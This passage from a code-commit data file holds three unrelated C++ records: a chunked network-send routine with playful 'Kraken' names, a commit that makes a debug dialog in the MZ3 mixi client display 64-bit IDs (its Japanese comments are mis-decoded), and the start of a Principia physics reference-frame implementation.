separate sends (@ref Kraken::SendTidalWave)\n   * @param kraken to send over\n   * @param uuid\n   * @param sendState\n   * @param chunk to send (optional content, for SendType::Data)\n   * @param error to send (optional content, for SendType::Error)\n   *\/\n   Kraken::Battling SendChunks(Kraken* kraken, const std::string& uuid, const KrakenBattle::SendType& sendState, const Kraken::Chunks& chunk, const std::string& error) {\n      const size_t kSplitSize = kraken->MaxChunkSizeInBytes();\n      const auto kTotalToSend = MergeData(uuid, sendState, chunk, error);\n      const size_t kTotalSize = kTotalToSend.size();\n      const Kraken::Chunks kHeader = MergeData(uuid, sendState, {}, {}); \/\/ {}: ignored\n      const size_t kSplitSizeAdjusted = kSplitSize - kHeader.size();\n      CHECK(kSplitSize > kHeader.size());\n\n      auto result = Kraken::Battling::CONTINUE;\n\n      if (kTotalSize <= kSplitSize) {\n         result = kraken->SendTidalWave(kTotalToSend);\n      } else {\n\n         std::vector<uint8_t> toSend;\n         toSend.reserve(kSplitSize);\n         toSend.assign(kTotalToSend.begin(), kTotalToSend.begin() + kSplitSize);\n\n         CHECK(toSend.size() == kSplitSize);\n         result = kraken->SendTidalWave(toSend);\n\n         for (size_t i = kSplitSize; i <= kTotalSize; i += kSplitSizeAdjusted) {\n            if (result != Kraken::Battling::CONTINUE) {\n               LOG(WARNING) << \"Sending UUID: \" << uuid << \", #split break: \" << i << \", kTotalSize: \" << kTotalSize\n                            << \", kSplitSizeAdjusted: \" << kSplitSizeAdjusted << \", result: \" << static_cast<int>(result);\n               break;\n            }\n\n            toSend.assign(kHeader.begin(), kHeader.end());\n            const size_t kLeftSize = kTotalSize - i;\n            const size_t kChunkSize = std::min(kLeftSize, kSplitSizeAdjusted);\n            std::copy(kTotalToSend.begin() + i,\n                      kTotalToSend.begin() + i + kChunkSize,\n                      std::back_inserter(toSend));\n            LOG(INFO) << \"Sending UUID: \" << uuid << \", #split: \" << i << \", toSend size: \" << toSend.size();\n            result = kraken->SendTidalWave(toSend);\n         }\n      }\n      return result;\n   }\n\n\n\n   \/**\n   * Forward  chunks to the client. This can be repeatedly called until an error\n   * occurrs (interrupt, timeout) or all is transmitted\n   * @param kraken to send the harpoon\/client\n   * @param uuid to for unique identification\n   * @param chunk to send to the client should have valid data on SendState::Data\n   * @param sendState (End, Done, Data, Error)\n   * @param error should have meaningful content on  SendState::Error\n   *\/\n   KrakenBattle::ProgressType  ForwardChunksToClient(Kraken* kraken, const std::string& uuid, const Kraken::Chunks& chunk,\n         const KrakenBattle::SendType& sendState, const std::string& error) {\n      auto sendingResult = SendChunks(kraken, uuid, sendState, chunk, error);\n      bool result = (Kraken::Battling::CONTINUE == sendingResult);\n      LOG_IF(WARNING, (!result)) << \"Failed to send 'SendTidalWave'\" << \", uuid: \" << uuid\n                                 << \", type: \" << KrakenBattle::EnumToString(sendState);\n\n      if (SendType::End == sendState) {\n         sendingResult = kraken->FinalBreach();\n         result = (Kraken::Battling::CONTINUE == sendingResult);\n         LOG_IF(WARNING, (!result)) << \"Failed to send 'FinalBreach'\" << \", uuid: \" << uuid\n                                    << \", type: \" << KrakenBattle::EnumToString(sendState);\n      }\n\n      auto status = KrakenBattle::ProgressType::Stop;\n      if (result) {\n         status = KrakenBattle::ProgressType::Continue;\n      }\n      return status;\n   }\n\n\n\n\n   std::string EnumToString(const KrakenBattle::SendType& type) {\n      std::string textType = \"<ERROR>\";\n      switch (type) {\n         case SendType::Data : textType = \"<DATA>\"; break;\n         case SendType::Done : textType = \"<DONE>\"; break;\n         case SendType::Error : textType = \"<ERROR>\"; break;\n         case SendType::End : textType = \"<END>\"; break;\n         default:\n            LOG(FATAL) << \"Unknown Send::Type: \" << static_cast<int>(type);\n      }\n      return textType;\n   }\n\n   std::string EnumToString(const KrakenBattle::ProgressType& type) {\n      std::string textType = \"<ERROR>\";\n      switch (type) {\n         case ProgressType::Stop : textType = \"ProgressType::Stop\"; break;\n         case ProgressType::Continue : textType = \"ProgressType::Continue\"; break;\n         default:\n            LOG(FATAL) << \"Unknown Send::Type: \" << static_cast<int>(type);\n      }\n      return textType;\n   }\n} \/\/ namespace KrakenBattle\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * This program is free software; you can redistribute it and\/or\r\n * modify it under the terms of the GNU General Public License\r\n * as published by the Free Software Foundation; either version\r\n * 2 of the License, or (at your option) any later version.\r\n *\/\r\n\/\/ DebugDlg.cpp : t@C\r\n\/\/\r\n\r\n#include \"stdafx.h\"\r\n#include \"MZ3.h\"\r\n#include \"DebugDlg.h\"\r\n#include \"util.h\"\r\n#include \"util_gui.h\"\r\n#include \"MixiParserUtil.h\"\r\n\r\n\/\/ CDebugDlg _CAO\r\n\r\nIMPLEMENT_DYNAMIC(CDebugDlg, CDialog)\r\n\r\nCDebugDlg::CDebugDlg(CWnd* pParent \/*=NULL*\/)\r\n\t: CDialog(CDebugDlg::IDD, pParent)\r\n{\r\n\r\n}\r\n\r\nCDebugDlg::~CDebugDlg()\r\n{\r\n}\r\n\r\nvoid CDebugDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialog::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_DEBUG_LIST, m_List);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CDebugDlg, CDialog)\r\n\tON_WM_SIZE()\r\n\tON_NOTIFY(NM_CLICK, IDC_DEBUG_LIST, &CDebugDlg::OnNMClickDebugList)\r\n\tON_NOTIFY(LVN_KEYDOWN, IDC_DEBUG_LIST, &CDebugDlg::OnLvnKeydownDebugList)\r\n\tON_NOTIFY(NM_DBLCLK, IDC_DEBUG_LIST, &CDebugDlg::OnNMDblclkDebugList)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n\/\/ CDebugDlg bZ[W nh\r\n\r\nBOOL CDebugDlg::OnInitDialog()\r\n{\r\n\tCDialog::OnInitDialog();\r\n\r\n\t\/\/ tHg\r\n\tm_List.SetFont( &theApp.m_font );\r\n\r\n\t\/\/ Jǉ\r\n\tm_List.InsertColumn( 0, L\"\", LVCFMT_LEFT, 150, -1 );\r\n\tm_List.InsertColumn( 1, L\"e\", LVCFMT_LEFT, 300, -1 );\r\n\t\/\/ sI[h̐ݒ\r\n\tListView_SetExtendedListViewStyle((HWND)m_List.m_hWnd, LVS_EX_FULLROWSELECT);\r\n\r\n\t\/\/ vfǉ\r\n\tint idx = 0;\r\n\r\n\tCMixiData* data = m_data;\r\n\r\n\tm_List.InsertItem( idx, L\"ANZX\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_accessTypeInfo.getShortText( data->GetAccessType() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"VACYL[\" );\r\n\tm_List.SetItemText( idx, 1, CString(theApp.m_accessTypeInfo.getSerializeKey( data->GetAccessType() )) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Date\" );\r\n\tm_List.SetItemText( idx, 1, data->GetDate() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Name\" );\r\n\tm_List.SetItemText( idx, 1, data->GetName() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Author\" );\r\n\tm_List.SetItemText( idx, 1, data->GetAuthor() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"AuthorID\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetAuthorID() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Title\" );\r\n\tm_List.SetItemText( idx, 1, data->GetTitle() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"URL\" );\r\n\tm_List.SetItemText( idx, 1, data->GetURL() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"POSTAhX\" );\r\n\tm_List.SetItemText( idx, 1, data->GetPostAddress() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"LID\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetID() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Rgԍ\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetCommentIndex() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Rg\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetCommentCount() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"ǃRgԍ\" );\r\n\tint lastIndex = mixi::ParserUtil::GetLastIndexFromIniFile(*data);\r\n\tm_List.SetItemText( idx, 1, util::int2str( lastIndex ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"POST\" );\r\n\tm_List.SetItemText( idx, 1, data->GetContentType() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"I[i[ID\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetOwnerID() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"}C~N\" );\r\n\tm_List.SetItemText( idx, 1, data->IsMyMixi() ? L\"true\" : L\"false\" );\r\n\tidx++;\r\n\r\n\/\/\tm_List.InsertItem( idx, L\"OuO\" );\r\n\/\/\tm_List.SetItemText( idx, 1, data->IsOtherDiary() ? L\"YES\" : L\"NO\" );\r\n\/\/\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"uEYURL\" );\r\n\tm_List.SetItemText( idx, 1, data->GetBrowseUri() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"*BodyArray\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetBodySize() ) );\r\n\tm_List.SetItemData( idx, (DWORD_PTR)L\"body\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"*ImageArray\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetImageCount() ) );\r\n\tm_List.SetItemData( idx, (DWORD_PTR)L\"image\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"oN\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->m_linkList.size() ) );\r\n\/\/\tm_List.SetItemData( idx, (DWORD_PTR)L\"link_list\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"y[WύXN\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->m_linkPage.size() ) );\r\n\/\/\tm_List.SetItemData( idx, (DWORD_PTR)L\"link_page\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"qvf\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetChildrenSize() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"logfile\" );\r\n\tm_List.SetItemText( idx, 1, util::MakeLogfilePath(*data) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"logfile-exist\" );\r\n\tm_List.SetItemText( idx, 1, util::ExistFile(util::MakeLogfilePath(*data)) ? L\"true\" : L\"false\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"XLtH_\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_filepath.skinFolder );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"XL\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_optionMng.m_strSkinname );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"MZ3Data CX^X\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetInstanceCount() ) );\r\n\tidx++;\r\n\r\n\tm_List.SetItemState( 0, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED );\r\n\r\n#ifndef WINCE\r\n\t\/\/ ʃTCYύX\r\n\tint w = 360;\r\n\tint h = 480;\r\n\tSetWindowPos( NULL, 0, 0, w, h, SWP_NOMOVE | SWP_NOOWNERZORDER );\r\n#endif\r\n\r\n\treturn TRUE;  \/\/ return TRUE unless you set the focus to a control\r\n\t\/\/ O : OCX vpeB y[W͕K FALSE Ԃ܂B\r\n}\r\n\r\nvoid CDebugDlg::OnSize(UINT nType, int cx, int cy)\r\n{\r\n\tCDialog::OnSize(nType, cx, cy);\r\n\r\n\r\n\tif (m_List.GetSafeHwnd()==NULL) {\r\n\t\treturn;\r\n\t}\r\n\r\n\tm_List.MoveWindow( 0, 0, cx, cy );\r\n}\r\n\r\nvoid CDebugDlg::OnNMClickDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::OnLvnKeydownDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tLPNMLVKEYDOWN pLVKeyDow = reinterpret_cast<LPNMLVKEYDOWN>(pNMHDR);\r\n\tif (pLVKeyDow->wVKey == VK_RETURN) {\r\n\t\tMyShowSelectedItemInfo();\r\n\t}\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::OnNMDblclkDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tMyShowSelectedItemInfo();\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::MyShowSelectedItemInfo(void)\r\n{\r\n\tint idx = util::MyGetListCtrlSelectedItemIndex( m_List );\r\n\tif( idx < 0 ) {\r\n\t\treturn;\r\n\t}\r\n\r\n\tCString msg;\r\n\r\n\t\/\/ ItemData Ɏʎq΂ɏ]ĕ񐶐\r\n\tconst CString& strType = (LPCTSTR)m_List.GetItemData(idx);\r\n\tif (strType==L\"body\") {\r\n\t\tmsg.Format(L\"[%s]\", m_data->GetBody());\r\n\t} else if (strType==L\"image\") {\r\n\t\tfor (int i=0; i<m_data->GetImageCount(); i++) {\r\n\t\t\tmsg.AppendFormat(L\"[%s]\\r\\n\", m_data->GetImage(i));\r\n\t\t}\r\n\t} else {\r\n\t\tmsg.Format(L\"[%s]\", m_List.GetItemText(idx,1) );\r\n\t}\r\n\r\n\tMessageBox( msg, m_List.GetItemText(idx,0) );\r\n}\r\n<commit_msg>IDの64bit対応<commit_after>\/*\r\n * This program is free software; you can redistribute it and\/or\r\n * modify it under the terms of the GNU General Public License\r\n * as published by the Free Software Foundation; either version\r\n * 2 of the License, or (at your option) any later version.\r\n *\/\r\n\/\/ DebugDlg.cpp : t@C\r\n\/\/\r\n\r\n#include \"stdafx.h\"\r\n#include \"MZ3.h\"\r\n#include \"DebugDlg.h\"\r\n#include \"util.h\"\r\n#include \"util_gui.h\"\r\n#include \"MixiParserUtil.h\"\r\n\r\n\/\/ CDebugDlg _CAO\r\n\r\nIMPLEMENT_DYNAMIC(CDebugDlg, CDialog)\r\n\r\nCDebugDlg::CDebugDlg(CWnd* pParent \/*=NULL*\/)\r\n\t: CDialog(CDebugDlg::IDD, pParent)\r\n{\r\n\r\n}\r\n\r\nCDebugDlg::~CDebugDlg()\r\n{\r\n}\r\n\r\nvoid CDebugDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialog::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_DEBUG_LIST, m_List);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CDebugDlg, CDialog)\r\n\tON_WM_SIZE()\r\n\tON_NOTIFY(NM_CLICK, IDC_DEBUG_LIST, &CDebugDlg::OnNMClickDebugList)\r\n\tON_NOTIFY(LVN_KEYDOWN, IDC_DEBUG_LIST, &CDebugDlg::OnLvnKeydownDebugList)\r\n\tON_NOTIFY(NM_DBLCLK, IDC_DEBUG_LIST, &CDebugDlg::OnNMDblclkDebugList)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n\/\/ CDebugDlg bZ[W nh\r\n\r\nBOOL CDebugDlg::OnInitDialog()\r\n{\r\n\tCDialog::OnInitDialog();\r\n\r\n\t\/\/ tHg\r\n\tm_List.SetFont( &theApp.m_font );\r\n\r\n\t\/\/ Jǉ\r\n\tm_List.InsertColumn( 0, L\"\", LVCFMT_LEFT, 150, -1 );\r\n\tm_List.InsertColumn( 1, L\"e\", LVCFMT_LEFT, 300, -1 );\r\n\t\/\/ sI[h̐ݒ\r\n\tListView_SetExtendedListViewStyle((HWND)m_List.m_hWnd, LVS_EX_FULLROWSELECT);\r\n\r\n\t\/\/ vfǉ\r\n\tint idx = 0;\r\n\r\n\tCMixiData* data = m_data;\r\n\r\n\tm_List.InsertItem( idx, L\"ANZX\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_accessTypeInfo.getShortText( data->GetAccessType() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"VACYL[\" );\r\n\tm_List.SetItemText( idx, 1, CString(theApp.m_accessTypeInfo.getSerializeKey( data->GetAccessType() )) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Date\" );\r\n\tm_List.SetItemText( idx, 1, data->GetDate() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Name\" );\r\n\tm_List.SetItemText( idx, 1, data->GetName() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Author\" );\r\n\tm_List.SetItemText( idx, 1, data->GetAuthor() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"AuthorID\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetAuthorID() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Title\" );\r\n\tm_List.SetItemText( idx, 1, data->GetTitle() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"URL\" );\r\n\tm_List.SetItemText( idx, 1, data->GetURL() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"POSTAhX\" );\r\n\tm_List.SetItemText( idx, 1, data->GetPostAddress() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"LID\" );\r\n\tm_List.SetItemText( idx, 1, util::FormatString(L\"%I64d\", data->GetID()) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Rgԍ\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetCommentIndex() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"Rg\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetCommentCount() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"ǃRgԍ\" );\r\n\tint lastIndex = mixi::ParserUtil::GetLastIndexFromIniFile(*data);\r\n\tm_List.SetItemText( idx, 1, util::int2str( lastIndex ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"POST\" );\r\n\tm_List.SetItemText( idx, 1, data->GetContentType() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"I[i[ID\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetOwnerID() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"}C~N\" );\r\n\tm_List.SetItemText( idx, 1, data->IsMyMixi() ? L\"true\" : L\"false\" );\r\n\tidx++;\r\n\r\n\/\/\tm_List.InsertItem( idx, L\"OuO\" );\r\n\/\/\tm_List.SetItemText( idx, 1, data->IsOtherDiary() ? L\"YES\" : L\"NO\" );\r\n\/\/\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"uEYURL\" );\r\n\tm_List.SetItemText( idx, 1, data->GetBrowseUri() );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"*BodyArray\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetBodySize() ) );\r\n\tm_List.SetItemData( idx, (DWORD_PTR)L\"body\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"*ImageArray\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetImageCount() ) );\r\n\tm_List.SetItemData( idx, (DWORD_PTR)L\"image\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"oN\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->m_linkList.size() ) );\r\n\/\/\tm_List.SetItemData( idx, (DWORD_PTR)L\"link_list\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"y[WύXN\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->m_linkPage.size() ) );\r\n\/\/\tm_List.SetItemData( idx, (DWORD_PTR)L\"link_page\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"qvf\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetChildrenSize() ) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"logfile\" );\r\n\tm_List.SetItemText( idx, 1, util::MakeLogfilePath(*data) );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"logfile-exist\" );\r\n\tm_List.SetItemText( idx, 1, util::ExistFile(util::MakeLogfilePath(*data)) ? L\"true\" : L\"false\" );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"XLtH_\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_filepath.skinFolder );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"XL\" );\r\n\tm_List.SetItemText( idx, 1, theApp.m_optionMng.m_strSkinname );\r\n\tidx++;\r\n\r\n\tm_List.InsertItem( idx, L\"MZ3Data CX^X\" );\r\n\tm_List.SetItemText( idx, 1, util::int2str( data->GetInstanceCount() ) );\r\n\tidx++;\r\n\r\n\tm_List.SetItemState( 0, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED );\r\n\r\n#ifndef WINCE\r\n\t\/\/ ʃTCYύX\r\n\tint w = 360;\r\n\tint h = 480;\r\n\tSetWindowPos( NULL, 0, 0, w, h, SWP_NOMOVE | SWP_NOOWNERZORDER );\r\n#endif\r\n\r\n\treturn TRUE;  \/\/ return TRUE unless you set the focus to a control\r\n\t\/\/ O : OCX vpeB y[W͕K FALSE Ԃ܂B\r\n}\r\n\r\nvoid CDebugDlg::OnSize(UINT nType, int cx, int cy)\r\n{\r\n\tCDialog::OnSize(nType, cx, cy);\r\n\r\n\r\n\tif (m_List.GetSafeHwnd()==NULL) {\r\n\t\treturn;\r\n\t}\r\n\r\n\tm_List.MoveWindow( 0, 0, cx, cy );\r\n}\r\n\r\nvoid CDebugDlg::OnNMClickDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::OnLvnKeydownDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tLPNMLVKEYDOWN pLVKeyDow = reinterpret_cast<LPNMLVKEYDOWN>(pNMHDR);\r\n\tif (pLVKeyDow->wVKey == VK_RETURN) {\r\n\t\tMyShowSelectedItemInfo();\r\n\t}\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::OnNMDblclkDebugList(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tMyShowSelectedItemInfo();\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\nvoid CDebugDlg::MyShowSelectedItemInfo(void)\r\n{\r\n\tint idx = util::MyGetListCtrlSelectedItemIndex( m_List );\r\n\tif( idx < 0 ) {\r\n\t\treturn;\r\n\t}\r\n\r\n\tCString msg;\r\n\r\n\t\/\/ ItemData Ɏʎq΂ɏ]ĕ񐶐\r\n\tconst CString& strType = (LPCTSTR)m_List.GetItemData(idx);\r\n\tif (strType==L\"body\") {\r\n\t\tmsg.Format(L\"[%s]\", m_data->GetBody());\r\n\t} else if (strType==L\"image\") {\r\n\t\tfor (int i=0; i<m_data->GetImageCount(); i++) {\r\n\t\t\tmsg.AppendFormat(L\"[%s]\\r\\n\", m_data->GetImage(i));\r\n\t\t}\r\n\t} else {\r\n\t\tmsg.Format(L\"[%s]\", m_List.GetItemText(idx,1) );\r\n\t}\r\n\r\n\tMessageBox( msg, m_List.GetItemText(idx,0) );\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>﻿\n#pragma once\n\n#include \"physics\/body_centred_body_direction_dynamic_frame.hpp\"\n\n#include \"geometry\/barycentre_calculator.hpp\"\n#include \"geometry\/named_quantities.hpp\"\n#include \"geometry\/r3x3_matrix.hpp\"\n#include \"quantities\/quantities.hpp\"\n#include \"quantities\/si.hpp\"\n\nnamespace principia {\nnamespace physics {\nnamespace internal_body_centred_body_direction_dynamic_frame {\n\nusing geometry::Barycentre;\nusing geometry::Bivector;\nusing geometry::Displacement;\nusing geometry::R3x3Matrix;\nusing geometry::Velocity;\nusing geometry::Wedge;\nusing quantities::GravitationalParameter;\nusing quantities::Length;\nusing quantities::Pow;\nusing quantities::Product;\nusing quantities::Speed;\nusing quantities::si::Radian;\n\ntemplate<typename InertialFrame, typename ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nBodyCentredBodyDirectionDynamicFrame(\n    not_null<Ephemeris<InertialFrame> const*> const ephemeris,\n    not_null<MassiveBody const*> const primary,\n    not_null<MassiveBody const*> const secondary)\n    : ephemeris_(ephemeris),\n      primary_(primary),\n      secondary_(secondary),\n      primary_trajectory_(ephemeris_->trajectory(primary_)),\n      secondary_trajectory_(ephemeris_->trajectory(secondary_)) {}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nRigidMotion<InertialFrame, ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\n    ToThisFrameAtTime(Instant const& t) const {\n  DegreesOfFreedom<InertialFrame> const primary_degrees_of_freedom =\n      primary_trajectory_->EvaluateDegreesOfFreedom(t, &primary_hint_);\n  DegreesOfFreedom<InertialFrame> const secondary_degrees_of_freedom =\n      secondary_trajectory_->EvaluateDegreesOfFreedom(t, &secondary_hint_);\n\n  Rotation<InertialFrame, ThisFrame> rotation =\n          Rotation<InertialFrame, ThisFrame>::Identity();\n  AngularVelocity<InertialFrame> angular_velocity;\n  ComputeAngularDegreesOfFreedom(primary_degrees_of_freedom,\n                                 secondary_degrees_of_freedom,\n                                 &rotation,\n                                 &angular_velocity);\n\n  RigidTransformation<InertialFrame, ThisFrame> const\n      rigid_transformation(primary_degrees_of_freedom.position(),\n                           ThisFrame::origin,\n                           rotation.Forget());\n  return RigidMotion<InertialFrame, ThisFrame>(\n             rigid_transformation,\n             angular_velocity,\n             primary_degrees_of_freedom.velocity());\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nvoid BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nWriteToMessage(not_null<serialization::DynamicFrame*> const message) const {\n  auto* const extension =\n      message->MutableExtension(\n          serialization::BodyCentredBodyDirectionDynamicFrame::extension);\n  extension->set_primary(ephemeris_->serialization_index_for_body(primary_));\n  extension->set_secondary(\n      ephemeris_->serialization_index_for_body(secondary_));\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nnot_null<std::unique_ptr<\n    BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>>>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::ReadFromMessage(\n    not_null<Ephemeris<InertialFrame> const*> const ephemeris,\n    serialization::BodyCentredBodyDirectionDynamicFrame const & message) {\n  return std::make_unique<BodyCentredBodyDirectionDynamicFrame>(\n      ephemeris,\n      ephemeris->body_for_serialization_index(message.primary()),\n      ephemeris->body_for_serialization_index(message.secondary()));\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nVector<Acceleration, InertialFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nGravitationalAcceleration(Instant const& t,\n                          Position<InertialFrame> const& q) const {\n  return ephemeris_->ComputeGravitationalAccelerationOnMasslessBody(q, t);\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nAcceleratedRigidMotion<InertialFrame, ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nMotionOfThisFrame(Instant const& t) const {\n  DegreesOfFreedom<InertialFrame> const primary_degrees_of_freedom =\n      primary_trajectory_->EvaluateDegreesOfFreedom(t, &primary_hint_);\n  DegreesOfFreedom<InertialFrame> const secondary_degrees_of_freedom =\n      secondary_trajectory_->EvaluateDegreesOfFreedom(t, &secondary_hint_);\n\n  Vector<Acceleration, InertialFrame> const primary_acceleration =\n      ephemeris_->ComputeGravitationalAccelerationOnMassiveBody(primary_, t);\n  Vector<Acceleration, InertialFrame> const secondary_acceleration =\n      ephemeris_->ComputeGravitationalAccelerationOnMassiveBody(secondary_, t);\n\n  auto const to_this_frame = ToThisFrameAtTime(t);\n\n  \/\/ TODO(egg): TeX and reference.\n  RelativeDegreesOfFreedom<InertialFrame> const primary_secondary =\n      primary_degrees_of_freedom - secondary_degrees_of_freedom;\n  Displacement<InertialFrame> const& r = primary_secondary.displacement();\n  Velocity<InertialFrame> const& ṙ = primary_secondary.velocity();\n  Vector<Acceleration, InertialFrame> const r̈ =\n      primary_acceleration - secondary_acceleration;\n  AngularVelocity<InertialFrame> const& ω =\n      to_this_frame.angular_velocity_of_to_frame();\n  Variation<AngularVelocity<InertialFrame>> const\n      angular_acceleration_of_to_frame =\n          (Wedge(r, r̈) * Radian - 2 * ω * InnerProduct(r, ṙ)) \/\n          InnerProduct(r, r);\n\n  Vector<Acceleration, InertialFrame> const& acceleration_of_to_frame_origin =\n      primary_acceleration;\n  return AcceleratedRigidMotion<InertialFrame, ThisFrame>(\n             to_this_frame,\n             angular_acceleration_of_to_frame,\n             acceleration_of_to_frame_origin);\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nvoid BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nComputeAngularDegreesOfFreedom(\n    DegreesOfFreedom<InertialFrame> const& primary_degrees_of_freedom,\n    